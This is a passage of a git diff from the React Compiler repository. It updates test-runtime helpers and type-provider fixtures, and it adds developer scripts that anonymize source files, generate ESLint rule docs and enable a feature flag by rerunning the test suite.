+                      reason: ValueReasonEnum.KnownReturnSignature,
+                    },
+                    {
+                      kind: 'Create',
+                      into: '@returns',
+                      value: ValueKindEnum.Frozen,
+                      reason: ValueReasonEnum.KnownReturnSignature,
+                    },
+                    {
+                      kind: 'ImmutableCapture',
+                      from: '@config',
+                      into: '@returns',
+                    },
+                  ],
+                },
+              },
+            },
+          },
+        },
+      };
+    } else if (moduleName === 'ReactCompilerKnownIncompatibleTest') {
+      /**
+       * Fake module used for testing validation of known incompatible
+       * API validation
+       */
+      return {
+        kind: 'object',
+        properties: {
+          useKnownIncompatible: {
+            kind: 'hook',
+            positionalParams: [],
+            restParam: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Any'},
+            knownIncompatible: `useKnownIncompatible is known to be incompatible`,
+          },
+          useKnownIncompatibleIndirect: {
+            kind: 'hook',
+            positionalParams: [],
+            restParam: EffectEnum.Read,
+            returnType: {
+              kind: 'object',
+              properties: {
+                incompatible: {
+                  kind: 'function',
+                  positionalParams: [],
+                  restParam: EffectEnum.Read,
+                  calleeEffect: EffectEnum.Read,
+                  returnType: {kind: 'type', name: 'Any'},
+                  returnValueKind: ValueKindEnum.Mutable,
+                  knownIncompatible: `useKnownIncompatibleIndirect returns an incompatible() function that is known incompatible`,
+                },
+              },
+            },
+          },
+          knownIncompatible: {
+            kind: 'function',
+            positionalParams: [],
+            restParam: EffectEnum.Read,
+            calleeEffect: EffectEnum.Read,
+            returnType: {kind: 'type', name: 'Any'},
+            returnValueKind: ValueKindEnum.Mutable,
+            knownIncompatible: `useKnownIncompatible is known to be incompatible`,
+          },
+        },
+      };
+    } else if (moduleName === 'ReactCompilerTest') {
+      /**
+       * Fake module used for testing validation that type providers return hook
+       * types for hook names and non-hook types for non-hook names
+       */
+      return {
+        kind: 'object',
+        properties: {
+          useHookNotTypedAsHook: {
+            kind: 'type',
+            name: 'Any',
+          },
+          notAhookTypedAsHook: {
+            kind: 'hook',
+            returnType: {kind: 'type', name: 'Any'},
+          },
+        },
+      };
+    } else if (moduleName === 'useDefaultExportNotTypedAsHook') {
+      /**
+       * Fake module used for testing validation that type providers return hook
+       * types for hook names and non-hook types for non-hook names
+       */
+      return {
+        kind: 'object',
+        properties: {
+          default: {
+            kind: 'type',
+            name: 'Any',
+          },
+        },
+      };
+    }
+    return null;
+  };
+}
diff --git a/compiler/packages/snap/src/sprout/shared-runtime.ts b/compiler/packages/snap/src/sprout/shared-runtime.ts
index 94fba22c0497..2a2265d70988 100644
--- a/compiler/packages/snap/src/sprout/shared-runtime.ts
+++ b/compiler/packages/snap/src/sprout/shared-runtime.ts
@@ -5,8 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { IntlVariations, IntlViewerContext, init } from "fbt";
-import React, { FunctionComponent } from "react";
+import {IntlVariations, IntlViewerContext, init} from 'fbt';
+import React, {FunctionComponent} from 'react';
 
 /**
  * This file is meant for use by `runner-evaluator` and fixture tests.
@@ -23,11 +23,11 @@ import React, { FunctionComponent } from "react";
  * ```
  */
 
-export type StringKeyedObject = { [key: string]: unknown };
+export type StringKeyedObject = {[key: string]: unknown};
 
-export const CONST_STRING0 = "global string 0";
-export const CONST_STRING1 = "global string 1";
-export const CONST_STRING2 = "global string 2";
+export const CONST_STRING0 = 'global string 0';
+export const CONST_STRING1 = 'global string 1';
+export const CONST_STRING2 = 'global string 2';
 
 export const CONST_NUMBER0 = 0;
 export const CONST_NUMBER1 = 1;
@@ -36,10 +36,10 @@ export const CONST_NUMBER2 = 2;
 export const CONST_TRUE = true;
 export const CONST_FALSE = false;
 
-export function initFbt() {
+export function initFbt(): void {
   const viewerContext: IntlViewerContext = {
     GENDER: IntlVariations.GENDER_UNKNOWN,
-    locale: "en_US",
+    locale: 'en_US',
   };
 
   init({
@@ -52,16 +52,18 @@ export function initFbt() {
 
 export function mutate(arg: any): void {
   // don't mutate primitive
-  if (typeof arg === null || typeof arg !== "object") {
+  if (arg == null || typeof arg !== 'object') {
     return;
+  } else if (Array.isArray(arg)) {
+    arg.push('joe');
   }
 
   let count: number = 0;
   let key;
   while (true) {
-    key = "wat" + count;
+    key = 'wat' + count;
     if (!Object.hasOwn(arg, key)) {
-      arg[key] = "joe";
+      arg[key] = 'joe';
       return;
     }
     count++;
@@ -75,19 +77,19 @@ export function mutateAndReturn<T>(arg: T): T {
 
 export function mutateAndReturnNewValue<T>(arg: T): string {
   mutate(arg);
-  return "hello!";
+  return 'hello!';
 }
 
 export function setProperty(arg: any, property: any): void {
   // don't mutate primitive
-  if (typeof arg === null || typeof arg !== "object") {
+  if (arg == null || typeof arg !== 'object') {
     return arg;
   }
 
   let count: number = 0;
   let key;
   while (true) {
-    key = "wat" + count;
+    key = 'wat' + count;
     if (!Object.hasOwn(arg, key)) {
       arg[key] = property;
       return arg;
@@ -96,8 +98,18 @@ export function setProperty(arg: any, property: any): void {
   }
 }
 
-export function arrayPush<T>(arr: Array<T>, ...values: Array<T>): void {
+export function setPropertyByKey<
+  T,
+  TKey extends keyof T,
+  TProperty extends T[TKey],
+>(arg: T, key: TKey, property: TProperty): T {
+  arg[key] = property;
+  return arg;
+}
+
+export function arrayPush<T>(arr: Array<T>, ...values: Array<T>): Array<T> {
   arr.push(...values);
+  return arr;
 }
 
 export function graphql(value: string): string {
@@ -116,6 +128,14 @@ export function getNull(): null {
   return null;
 }
 
+export function getTrue(): true {
+  return true;
+}
+
+export function getFalse(): false {
+  return false;
+}
+
 export function calculateExpensiveNumber(x: number): number {
   return x;
 }
@@ -123,12 +143,12 @@ export function calculateExpensiveNumber(x: number): number {
 /**
  * Functions that do not mutate their parameters
  */
-export function shallowCopy(obj: Object): object {
+export function shallowCopy<T extends object>(obj: T): T {
   return Object.assign({}, obj);
 }
 
 export function makeObject_Primitives(): StringKeyedObject {
-  return { a: 0, b: "value1", c: true };
+  return {a: 0, b: 'value1', c: true};
 }
 
 export function makeArray<T>(...values: Array<T>): Array<T> {
@@ -139,9 +159,11 @@ export function addOne(value: number): number {
   return value + 1;
 }
 
-// Alias console.log, as it is defined as a global and may have
-// different compiler handling than unknown functions
-export function print(...args: Array<unknown>) {
+/*
+ * Alias console.log, as it is defined as a global and may have
+ * different compiler handling than unknown functions
+ */
+export function print(...args: Array<unknown>): void {
   console.log(...args);
 }
 
@@ -153,7 +175,7 @@ export function throwErrorWithMessage(message: string): never {
   throw new Error(message);
 }
 
-export function throwInput(x: Object): never {
+export function throwInput(x: object): never {
   throw x;
 }
 
@@ -167,12 +189,12 @@ export function logValue<T>(value: T): void {
   console.log(value);
 }
 
-export function useHook(): Object {
+export function useHook(): object {
   return makeObject_Primitives();
 }
 
 const noAliasObject = Object.freeze({});
-export function useNoAlias(...args: Array<any>): object {
+export function useNoAlias(..._args: Array<any>): object {
   return noAliasObject;
 }
 
@@ -183,7 +205,7 @@ export function useIdentity<T>(arg: T): T {
 export function invoke<T extends Array<any>, ReturnType>(
   fn: (...input: T) => ReturnType,
   ...params: T
-) {
+): ReturnType {
   return fn(...params);
 }
 
@@ -191,7 +213,7 @@ export function conditionalInvoke<T extends Array<any>, ReturnType>(
   shouldInvoke: boolean,
   fn: (...input: T) => ReturnType,
   ...params: T
-) {
+): ReturnType | null {
   if (shouldInvoke) {
     return fn(...params);
   } else {
@@ -205,63 +227,80 @@ export function conditionalInvoke<T extends Array<any>, ReturnType>(
 export function Text(props: {
   value: string;
   children?: Array<React.ReactNode>;
-}) {
-  return React.createElement("div", null, props.value, props.children);
+}): React.ReactElement {
+  return React.createElement('div', null, props.value, props.children);
 }
 
-export function StaticText1(props: { children?: Array<React.ReactNode> }) {
-  return React.createElement("div", null, "StaticText1", props.children);
+export function StaticText1(props: {
+  children?: Array<React.ReactNode>;
+}): React.ReactElement {
+  return React.createElement('div', null, 'StaticText1', props.children);
 }
 
-export function StaticText2(props: { children?: Array<React.ReactNode> }) {
-  return React.createElement("div", null, "StaticText2", props.children);
+export function StaticText2(props: {
+  children?: Array<React.ReactNode>;
+}): React.ReactElement {
+  return React.createElement('div', null, 'StaticText2', props.children);
 }
 
 export function RenderPropAsChild(props: {
   items: Array<() => React.ReactNode>;
-}) {
+}): React.ReactElement {
   return React.createElement(
-    "div",
+    'div',
     null,
-    "HigherOrderComponent",
-    props.items.map((item) => item())
+    'HigherOrderComponent',
+    props.items.map(item => item()),
   );
 }
 
 export function Stringify(props: any): React.ReactElement {
   return React.createElement(
-    "div",
+    'div',
     null,
-    toJSON(props, props?.shouldInvokeFns)
+    toJSON(props, props?.shouldInvokeFns),
   );
 }
+export function Throw() {
+  throw new Error();
+}
 
 export function ValidateMemoization({
   inputs,
-  output,
+  output: rawOutput,
+  onlyCheckCompiled = false,
 }: {
   inputs: Array<any>;
   output: any;
-}) {
-  "use no forget";
+  onlyCheckCompiled?: boolean;
+}): React.ReactElement {
+  'use no forget';
+  // Wrap rawOutput as it might be a function, which useState would invoke.
+  const output = {value: rawOutput};
   const [previousInputs, setPreviousInputs] = React.useState(inputs);
   const [previousOutput, setPreviousOutput] = React.useState(output);
   if (
-    inputs.length !== previousInputs.length ||
-    inputs.some((item, i) => item !== previousInputs[i])
+    !onlyCheckCompiled ||
+    (onlyCheckCompiled &&
+      (globalThis as any).__SNAP_EVALUATOR_MODE === 'forget')
   ) {
-    // Some input changed, we expect the output to change
-    setPreviousInputs(inputs);
-    setPreviousOutput(output);
-  } else if (output !== previousOutput) {
-    // Else output should be stable
-    throw new Error("Output identity changed but inputs did not");
+    if (
+      inputs.length !== previousInputs.length ||
+      inputs.some((item, i) => item !== previousInputs[i])
+    ) {
+      // Some input changed, we expect the output to change
+      setPreviousInputs(inputs);
+      setPreviousOutput(output);
+    } else if (output.value !== previousOutput.value) {
+      // Else output should be stable
+      throw new Error('Output identity changed but inputs did not');
+    }
   }
-  return React.createElement(Stringify, { inputs, output });
+  return React.createElement(Stringify, {inputs, output: rawOutput});
 }
 
 export function createHookWrapper<TProps, TRet>(
-  useMaybeHook: (props: TProps) => TRet
+  useMaybeHook: (props: TProps) => TRet,
 ): FunctionComponent<TProps> {
   return function Component(props: TProps): React.ReactElement {
     const result = useMaybeHook(props);
@@ -273,31 +312,31 @@ export function createHookWrapper<TProps, TRet>(
 }
 
 // helper functions
-export function toJSON(value: any, invokeFns: boolean = false) {
+export function toJSON(value: any, invokeFns: boolean = false): string {
   const seen = new Map();
 
   return JSON.stringify(value, (_key: string, val: any) => {
-    if (typeof val === "function") {
+    if (typeof val === 'function') {
       if (val.length === 0 && invokeFns) {
         return {
-          kind: "Function",
+          kind: 'Function',
           result: val(),
         };
       } else {
         return `[[ function params=${val.length} ]]`;
       }
-    } else if (typeof val === "object") {
+    } else if (typeof val === 'object') {
       let id = seen.get(val);
       if (id != null) {
         return `[[ cyclic ref *${id} ]]`;
       } else if (val instanceof Map) {
         return {
-          kind: "Map",
+          kind: 'Map',
           value: Array.from(val.entries()),
         };
       } else if (val instanceof Set) {
         return {
-          kind: "Set",
+          kind: 'Set',
           value: Array.from(val.values()),
         };
       }
@@ -306,6 +345,22 @@ export function toJSON(value: any, invokeFns: boolean = false) {
     return val;
   });
 }
+export class Builder {
+  vals: Array<any> = [];
+  static makeBuilder(isNull: boolean, ...args: Array<any>): Builder | null {
+    if (isNull) {
+      return null;
+    } else {
+      const builder = new Builder();
+      builder.push(...args);
+      return builder;
+    }
+  }
+  push(...args: Array<any>): Builder {
+    this.vals.push(...args);
+    return this;
+  }
+}
 
 export const ObjectWithHooks = {
   useFoo(): number {
@@ -319,9 +374,57 @@ export const ObjectWithHooks = {
   },
 };
 
-export function useFragment(...args: Array<any>): Object {
+export function useFragment(..._args: Array<any>): object {
   return {
     a: [1, 2, 3],
-    b: { c: { d: 4 } },
+    b: {c: {d: 4}},
   };
 }
+
+export function useSpecialEffect(
+  fn: () => any,
+  _secondArg: any,
+  deps: Array<any>,
+) {
+  React.useEffect(fn, deps);
+}
+
+export function typedArrayPush<T>(array: Array<T>, item: T): void {
+  array.push(item);
+}
+
+export function typedLog(...values: Array<any>): void {
+  console.log(...values);
+}
+
+export function typedIdentity<T>(value: T): T {
+  return value;
+}
+
+export function typedAssign<T>(x: T): T {
+  return x;
+}
+
+export function typedAlias<T>(x: T): T {
+  return x;
+}
+
+export function typedCapture<T>(x: T): Array<T> {
+  return [x];
+}
+
+export function typedCreateFrom<T>(array: Array<T>): T {
+  return array[0];
+}
+
+export function typedMutate(x: any, v: any = null): void {
+  x.property = v;
+}
+
+export const PanResponder = {
+  create(obj: any): any {
+    return obj;
+  },
+};
+
+export default typedLog;
diff --git a/compiler/packages/snap/src/sprout/useEffectWrapper.ts b/compiler/packages/snap/src/sprout/useEffectWrapper.ts
new file mode 100644
index 000000000000..b1589dac4072
--- /dev/null
+++ b/compiler/packages/snap/src/sprout/useEffectWrapper.ts
@@ -0,0 +1,18 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+/* This file is used to test the effect auto-deps configuration, which
+ * allows you to specify functions that should have dependencies added to
+ * callsites.
+ */
+import {useEffect} from 'react';
+
+export default function useEffectWrapper(f: () => void | (() => void)): void {
+  useEffect(() => {
+    f();
+  }, [f]);
+}
diff --git a/compiler/packages/snap/src/types.d.ts b/compiler/packages/snap/src/types.d.ts
index 40771d183c06..b624caf19c54 100644
--- a/compiler/packages/snap/src/types.d.ts
+++ b/compiler/packages/snap/src/types.d.ts
@@ -6,14 +6,14 @@
  */
 
 // v0.17.1
-declare module "hermes-parser" {
+declare module 'hermes-parser' {
   type HermesParserOptions = {
     allowReturnOutsideFunction?: boolean;
     babel?: boolean;
-    flow?: "all" | "detect";
+    flow?: 'all' | 'detect';
     enableExperimentalComponentSyntax?: boolean;
     sourceFilename?: string;
-    sourceType?: "module" | "script" | "unambiguous";
+    sourceType?: 'module' | 'script' | 'unambiguous';
     tokens?: boolean;
   };
   export function parse(code: string, options: Partial<HermesParserOptions>);
diff --git a/compiler/rust-toolchain.toml b/compiler/rust-toolchain.toml
deleted file mode 100644
index 31578d3bfd61..000000000000
--- a/compiler/rust-toolchain.toml
+++ /dev/null
@@ -1,2 +0,0 @@
-[toolchain]
-channel = "stable"
\ No newline at end of file
diff --git a/compiler/rustfmt.toml b/compiler/rustfmt.toml
deleted file mode 100644
index e8eb27da6aac..000000000000
--- a/compiler/rustfmt.toml
+++ /dev/null
@@ -1,8 +0,0 @@
-# Get help on options with `rustfmt --help=config`
-# Please keep these in alphabetical order.
-edition = "2021"
-group_imports = "StdExternalCrate"
-imports_granularity = "Module"
-merge_derives = false
-use_field_init_shorthand = true
-version = "Two"
\ No newline at end of file
diff --git a/compiler/scripts/anonymize.js b/compiler/scripts/anonymize.js
new file mode 100644
index 000000000000..278e582c101d
--- /dev/null
+++ b/compiler/scripts/anonymize.js
@@ -0,0 +1,250 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+'use strict';
+
+const fs = require('fs');
+const HermesParser = require('hermes-parser');
+const BabelParser = require('@babel/parser');
+const BabelCore = require('@babel/core');
+const invariant = require('invariant');
+const {argv, stdin} = require('process');
+const prettier = require('prettier');
+const {JSXText} = require('hermes-parser/dist/generated/ESTreeVisitorKeys');
+
+function runPlugin(text, file, language) {
+  let ast;
+  if (language === 'flow') {
+    ast = HermesParser.parse(text, {
+      babel: true,
+      flow: 'all',
+      sourceFilename: file,
+      sourceType: 'module',
+      enableExperimentalComponentSyntax: true,
+    });
+  } else {
+    ast = BabelParser.parse(text, {
+      sourceFilename: file,
+      plugins: ['typescript', 'jsx'],
+      sourceType: 'module',
+    });
+  }
+  const result = BabelCore.transformFromAstSync(ast, text, {
+    ast: false,
+    filename: file,
+    highlightCode: false,
+    retainLines: true,
+    plugins: [[AnonymizePlugin]],
+    sourceType: 'module',
+    configFile: false,
+    babelrc: false,
+  });
+  invariant(
+    result?.code != null,
+    `Expected BabelPluginReactForget to codegen successfully, got: ${result}`
+  );
+  return result.code;
+}
+
+async function format(code, language) {
+  return await prettier.format(code, {
+    semi: true,
+    parser: language === 'typescript' ? 'babel-ts' : 'flow',
+  });
+}
+
+const TAG_NAMES = new Set([
+  'a',
+  'body',
+  'button',
+  'div',
+  'form',
+  'head',
+  'html',
+  'input',
+  'label',
+  'select',
+  'span',
+  'textarea',
+
+  // property/attribute names
+  'value',
+  'checked',
+  'onClick',
+  'onSubmit',
+  'name',
+]);
+
+const BUILTIN_HOOKS = new Set([
+  'useContext',
+  'useEffect',
+  'useInsertionEffect',
+  'useLayoutEffect',
+  'useReducer',
+  'useState',
+]);
+
+const GLOBALS = new Set([
+  'String',
+  'Object',
+  'Function',
+  'Number',
+  'RegExp',
+  'Date',
+  'Error',
+  'Function',
+  'TypeError',
+  'RangeError',
+  'ReferenceError',
+  'SyntaxError',
+  'URIError',
+  'EvalError',
+  'Boolean',
+  'DataView',
+  'Float32Array',
+  'Float64Array',
+  'Int8Array',
+  'Int16Array',
+  'Int32Array',
+  'Map',
+  'Set',
+  'WeakMap',
+  'Uint8Array',
+  'Uint8ClampedArray',
+  'Uint16Array',
+  'Uint32Array',
+  'ArrayBuffer',
+  'JSON',
+  'parseFloat',
+  'parseInt',
+  'console',
+  'isNaN',
+  'eval',
+  'isFinite',
+  'encodeURI',
+  'decodeURI',
+  'encodeURIComponent',
+  'decodeURIComponent',
+
+  // common method/property names of globals
+  'map',
+  'push',
+  'at',
+  'filter',
+  'slice',
+  'splice',
+  'add',
+  'get',
+  'set',
+  'has',
+  'size',
+  'length',
+  'toString',
+]);
+
+function AnonymizePlugin(_babel) {
+  let index = 0;
+  const identifiers = new Map();
+  const literals = new Map();
+  return {
+    name: 'anonymize',
+    visitor: {
+      JSXNamespacedName(path) {
+        throw error('TODO: handle JSXNamedspacedName');
+      },
+      JSXIdentifier(path) {
+        const name = path.node.name;
+        if (TAG_NAMES.has(name)) {
+          return;
+        }
+        let nextName = identifiers.get(name);
+        if (nextName == null) {
+          const isCapitalized =
+            name.slice(0, 1).toUpperCase() === name.slice(0, 1);
+          nextName = isCapitalized
+            ? `Component${(index++).toString(16).toUpperCase()}`
+            : `c${(index++).toString(16)}`;
+          identifiers.set(name, nextName);
+        }
+        path.node.name = nextName;
+      },
+      Identifier(path) {
+        const name = path.node.name;
+        if (BUILTIN_HOOKS.has(name) || GLOBALS.has(name)) {
+          return;
+        }
+        let nextName = identifiers.get(name);
+        if (nextName == null) {
+          const isCapitalized =
+            name.slice(0, 1).toUpperCase() === name.slice(0, 1);
+          const prefix = isCapitalized ? 'V' : 'v';
+          nextName = `${prefix}${(index++).toString(16)}`;
+          if (name.startsWith('use')) {
+            nextName =
+              'use' + nextName.slice(0, 1).toUpperCase() + nextName.slice(1);
+          }
+          identifiers.set(name, nextName);
+        }
+        path.node.name = nextName;
+      },
+      JSXText(path) {
+        const value = path.node.value;
+        let nextValue = literals.get(value);
+        if (nextValue == null) {
+          let string = '';
+          while (string.length < value.length) {
+            string += String.fromCharCode(Math.round(Math.random() * 25) + 97);
+          }
+          nextValue = string;
+          literals.set(value, nextValue);
+        }
+        path.node.value = nextValue;
+      },
+      StringLiteral(path) {
+        const value = path.node.value;
+        let nextValue = literals.get(value);
+        if (nextValue == null) {
+          let string = '';
+          while (string.length < value.length) {
+            string += String.fromCharCode(Math.round(Math.random() * 58) + 65);
+          }
+          nextValue = string;
+          literals.set(value, nextValue);
+        }
+        path.node.value = nextValue;
+      },
+      NumericLiteral(path) {
+        const value = path.node.value;
+        let nextValue = literals.get(value);
+        if (nextValue == null) {
+          nextValue = Number.isInteger(value)
+            ? Math.round(Math.random() * Number.MAX_SAFE_INTEGER)
+            : Math.random() * Number.MAX_VALUE;
+          literals.set(value, nextValue);
+        }
+        path.node.value = nextValue;
+      },
+    },
+  };
+}
+
+let file;
+let text;
+if (argv.length >= 3) {
+  file = argv[2];
+  text = fs.readFileSync(file, 'utf8');
+} else {
+  // read from stdin
+  file = 'stdin.js';
+  text = fs.readFileSync(stdin.fd, 'utf8');
+}
+const language =
+  file.endsWith('.ts') || file.endsWith('.tsx') ? 'typescript' : 'flow';
+const result = runPlugin(text, file, language);
+format(result, language).then(formatted => {
+  console.log(formatted);
+});
diff --git a/compiler/scripts/build-eslint-docs.js b/compiler/scripts/build-eslint-docs.js
new file mode 100644
index 000000000000..f4e411590e84
--- /dev/null
+++ b/compiler/scripts/build-eslint-docs.js
@@ -0,0 +1,34 @@
+const ReactCompiler = require('../packages/babel-plugin-react-compiler/dist');
+
+const combinedRules = [
+  {
+    name: 'rules-of-hooks',
+    recommended: true,
+    description:
+      'Validates that components and hooks follow the [Rules of Hooks](https://react.dev/reference/rules/rules-of-hooks)',
+  },
+  {
+    name: 'exhaustive-deps',
+    recommended: true,
+    description:
+      'Validates that hooks which accept dependency arrays (`useMemo()`, `useCallback()`, `useEffect()`, etc) ' +
+      'list all referenced variables in their dependency array. Referencing a value without including it in the ' +
+      'dependency array can lead to stale UI or callbacks.',
+  },
+  ...ReactCompiler.LintRules,
+];
+
+const printed = combinedRules
+  .filter(
+    ruleConfig => ruleConfig.rule.recommended && ruleConfig.severity !== 'Off'
+  )
+  .map(ruleConfig => {
+    return `
+## \`react-hooks/${ruleConfig.rule.name}\`
+
+${ruleConfig.rule.description}
+    `.trim();
+  })
+  .join('\n\n');
+
+console.log(printed);
diff --git a/compiler/scripts/build-packages-forget-feedback.sh b/compiler/scripts/build-packages-forget-feedback.sh
deleted file mode 100755
index 8458d7d47ae7..000000000000
--- a/compiler/scripts/build-packages-forget-feedback.sh
+++ /dev/null
@@ -1,39 +0,0 @@
-#!/bin/sh
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-#
-# This source code is licensed under the MIT license found in the
-# LICENSE file in the root directory of this source tree.
-
-# Script to build packages for Forget Feedback (eg when you need to add a new package to the
-# testapp)
-
-set -eo pipefail
-
-cwd=`basename $(pwd)`
-
-if [ $cwd != "react-forget" ]; then
-  echo "Error: This script must be run from the top level react-forget directory. Exiting"
-  exit 1
-fi
-
-# ----------------------- Build packages
-yarn install --silent
-rm -rf forget-feedback/dist
-mkdir forget-feedback/dist
-
-packages=("babel-plugin-react-compiler" "eslint-plugin-react-compiler" "react-forget-runtime")
-for package in ${packages[@]}; do
-  echo "Building" $package
-  yarn workspace $package run build
-done
-
-echo "Copying artifacts to local forget-feedback directory..."
-for package in ${packages[@]}; do
-  for dir in packages/$package/; do
-    if [ -d $dir/dist ]; then
-      package_name=$(basename $dir)
-      cp -R $dir/dist/. ./forget-feedback/dist/$package_name
-      cp $dir/package.json ./forget-feedback/dist/$package_name
-    fi
-  done
-done
diff --git a/compiler/scripts/copyright.js b/compiler/scripts/copyright.js
index 101d25c45343..0a5ef2e29ae3 100644
--- a/compiler/scripts/copyright.js
+++ b/compiler/scripts/copyright.js
@@ -5,10 +5,10 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-"use strict";
+'use strict';
 
-const fs = require("fs");
-const glob = require("glob");
+const fs = require('fs');
+const glob = require('glob');
 
 const META_COPYRIGHT_COMMENT_BLOCK =
   `/**
@@ -16,23 +16,20 @@ const META_COPYRIGHT_COMMENT_BLOCK =
  *
  * This source code is licensed under the MIT license found in the
  * LICENSE file in the root directory of this source tree.
- */`.trim() + "\n\n";
+ */`.trim() + '\n\n';
 
-const files = glob.sync("**/*.{js,ts,tsx,jsx,rs}", {
+const files = glob.sync('**/*.{js,ts,tsx,jsx,rs}', {
   ignore: [
-    "**/dist/**",
-    "**/node_modules/**",
-    "react/**",
-    "forget-feedback/**",
-    "packages/js-fuzzer/**",
-    "**/tests/fixtures/**",
-    "**/__tests__/fixtures/**",
+    '**/dist/**',
+    '**/node_modules/**',
+    '**/tests/fixtures/**',
+    '**/__tests__/fixtures/**',
   ],
 });
 
 const updatedFiles = new Map();
 let hasErrors = false;
-files.forEach((file) => {
+files.forEach(file => {
   try {
     const result = processFile(file);
     if (result != null) {
@@ -44,17 +41,20 @@ files.forEach((file) => {
   }
 });
 if (hasErrors) {
-  console.error("Update failed");
+  console.error('Update failed');
   process.exit(1);
 } else {
   for (const [file, source] of updatedFiles) {
-    fs.writeFileSync(file, source, "utf8");
+    fs.writeFileSync(file, source, 'utf8');
   }
-  console.log("Update complete");
+  console.log('Update complete');
 }
 
 function processFile(file) {
-  let source = fs.readFileSync(file, "utf8");
+  if (fs.lstatSync(file).isDirectory()) {
+    return;
+  }
+  let source = fs.readFileSync(file, 'utf8');
 
   if (source.indexOf(META_COPYRIGHT_COMMENT_BLOCK) === 0) {
     return null;
diff --git a/compiler/scripts/enable-feature-flag.js b/compiler/scripts/enable-feature-flag.js
new file mode 100755
index 000000000000..f51c5b484171
--- /dev/null
+++ b/compiler/scripts/enable-feature-flag.js
@@ -0,0 +1,347 @@
+#!/usr/bin/env node
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const {execSync} = require('child_process');
+const yargs = require('yargs/yargs');
+const {hideBin} = require('yargs/helpers');
+
+// Constants
+const COMPILER_ROOT = path.resolve(__dirname, '..');
+const ENVIRONMENT_TS_PATH = path.join(
+  COMPILER_ROOT,
+  'packages/babel-plugin-react-compiler/src/HIR/Environment.ts'
+);
+const FIXTURES_PATH = path.join(
+  COMPILER_ROOT,
+  'packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler'
+);
+const FIXTURE_EXTENSIONS = ['.js', '.jsx', '.ts', '.tsx'];
+
+/**
+ * Parse command line arguments
+ */
+function parseArgs() {
+  const argv = yargs(hideBin(process.argv))
+    .usage('Usage: $0 <flag-name>')
+    .command('$0 <flag-name>', 'Enable a feature flag by default', yargs => {
+      yargs.positional('flag-name', {
+        describe: 'Name of the feature flag to enable',
+        type: 'string',
+      });
+    })
+    .example(
+      '$0 validateExhaustiveMemoizationDependencies',
+      'Enable the validateExhaustiveMemoizationDependencies flag'
+    )
+    .help('h')
+    .alias('h', 'help')
+    .strict()
+    .parseSync();
+
+  return argv['flag-name'];
+}
+
+/**
+ * Enable a feature flag in Environment.ts by changing default(false) to default(true)
+ */
+function enableFlagInEnvironment(flagName) {
+  console.log(`\nEnabling flag "${flagName}" in Environment.ts...`);
+
+  const content = fs.readFileSync(ENVIRONMENT_TS_PATH, 'utf8');
+
+  // Check if the flag exists with default(false)
+  const flagPatternFalse = new RegExp(
+    `(${escapeRegex(flagName)}:\\s*z\\.boolean\\(\\)\\.default\\()false(\\))`,
+    'g'
+  );
+
+  if (!flagPatternFalse.test(content)) {
+    // Check if flag exists at all
+    const flagExistsPattern = new RegExp(
+      `${escapeRegex(flagName)}:\\s*z\\.boolean\\(\\)`,
+      'g'
+    );
+    if (flagExistsPattern.test(content)) {
+      // Check if it's already true
+      const flagPatternTrue = new RegExp(
+        `${escapeRegex(flagName)}:\\s*z\\.boolean\\(\\)\\.default\\(true\\)`,
+        'g'
+      );
+      if (flagPatternTrue.test(content)) {
+        console.error(`Error: Flag "${flagName}" already has default(true)`);
+        process.exit(1);
+      }
+      console.error(
+        `Error: Flag "${flagName}" exists but doesn't have default(false)`
+      );
+      process.exit(1);
+    }
+    console.error(`Error: Flag "${flagName}" not found in Environment.ts`);
+    process.exit(1);
+  }
+
+  // Perform the replacement
+  const newContent = content.replace(flagPatternFalse, '$1true$2');
+
+  // Verify the replacement worked
+  if (content === newContent) {
+    console.error(`Error: Failed to replace flag "${flagName}"`);
+    process.exit(1);
+  }
+
+  fs.writeFileSync(ENVIRONMENT_TS_PATH, newContent, 'utf8');
+  console.log(`Successfully enabled "${flagName}" in Environment.ts`);
+}
+
+/**
+ * Helper to escape regex special characters
+ */
+function escapeRegex(string) {
+  return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
+}
+
+/**
+ * Run yarn snap and capture output
+ */
+function runTests() {
+  console.log('\nRunning test suite (yarn snap)...');
+
+  try {
+    const output = execSync('yarn snap', {
+      cwd: COMPILER_ROOT,
+      encoding: 'utf8',
+      stdio: 'pipe',
+      maxBuffer: 10 * 1024 * 1024, // 10MB buffer
+    });
+    return {success: true, output};
+  } catch (error) {
+    // yarn snap exits with code 1 when tests fail, which throws an error
+    return {success: false, output: error.stdout || error.message};
+  }
+}
+
+/**
+ * Parse failing test names from test output
+ */
+function parseFailingTests(output) {
+  const failingTests = [];
+
+  // Look for lines that contain "FAIL:" followed by the test name
+  // Format: "FAIL: test-name" or with ANSI codes
+  const lines = output.split('\n');
+  for (const line of lines) {
+    // Remove ANSI codes for easier parsing
+    const cleanLine = line.replace(/\x1b\[[0-9;]*m/g, '');
+
+    // Match "FAIL: test-name"
+    const match = cleanLine.match(/^FAIL:\s*(.+)$/);
+    if (match) {
+      failingTests.push(match[1].trim());
+    }
+  }
+
+  return failingTests;
+}
+
+/**
+ * Find the fixture file for a given test name
+ */
+function findFixtureFile(testName) {
+  const basePath = path.join(FIXTURES_PATH, testName);
+
+  for (const ext of FIXTURE_EXTENSIONS) {
+    const filePath = basePath + ext;
+    if (fs.existsSync(filePath)) {
+      return filePath;
+    }
+  }
+
+  return null;
+}
+
+/**
+ * Add pragma to disable the feature flag in a fixture file
+ */
+function addPragmaToFixture(filePath, flagName) {
+  const content = fs.readFileSync(filePath, 'utf8');
+  const lines = content.split('\n');
+
+  if (lines.length === 0) {
+    console.warn(`Warning: Empty file ${filePath}`);
+    return false;
+  }
+
+  const firstLine = lines[0];
+  const pragma = `@${flagName}:false`;
+
+  // Check if pragma already exists
+  if (firstLine.includes(pragma)) {
